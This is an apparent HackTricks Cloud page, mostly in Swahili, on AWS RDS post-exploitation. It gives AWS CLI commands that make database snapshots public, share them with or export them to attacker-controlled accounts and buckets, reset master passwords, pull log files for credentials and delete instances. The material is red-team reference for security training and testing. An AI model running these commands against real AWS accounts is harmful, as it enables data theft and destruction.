AWS - RDS Post Exploitation

Jifunze na kufanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na kufanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mipango ya usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwenye HackTricks na HackTricks Cloud github repos.

RDS

Kwa maelezo zaidi angalia:

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Ikiwa mshambuliaji ana ruhusa za kutosha, anaweza kufanya DB ipatikane hadharani kwa kuunda snapshot ya DB, na kisha DB inayopatikana hadharani kutoka kwenye snapshot.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Mshambuliaji akiwa na ruhusa hizi anaweza kuunda snapshot ya DB na kuifanya kupatikana kwa umma. Kisha, anaweza kuunda DB kwenye akaunti yake mwenyewe kutoka kwenye snapshot hiyo.

Ikiwa mshambuliaji hana rds:CreateDBSnapshot, bado anaweza kufanya snapshots nyingine zilizoundwa kupatikana kwa umma.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Mshambuliaji mwenye ruhusa ya rds:DownloadDBLogFilePortion anaweza kupakua sehemu za faili za kumbukumbu za RDS. Ikiwa data nyeti au hati za ufikiaji zimeingizwa kimakosa, mshambuliaji anaweza kutumia taarifa hii kuongeza haki zao au kufanya vitendo visivyoidhinishwa.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Potential Impact: Upatikanaji wa taarifa nyeti au vitendo visivyoidhinishwa kwa kutumia vitambulisho vilivyovuja.

rds:DeleteDBInstance

Mshambuliaji mwenye ruhusa hizi anaweza kufanya DoS kwenye RDS instances zilizopo.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Potential impact: Ufutaji wa RDS instances zilizopo, na upotevu wa data.

rds:StartExportTask

TODO: Test

Mshambuliaji mwenye ruhusa hii anaweza kusafirisha snapshot ya RDS instance kwenda kwenye S3 bucket. Ikiwa mshambuliaji ana udhibiti juu ya S3 bucket ya marudio, wanaweza kufikia data nyeti ndani ya snapshot iliyosafirishwa.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Potential impact: Upatikanaji wa data nyeti katika snapshot iliyosafirishwa.

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mipango ya usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwenye HackTricks na HackTricks Cloud repos za github.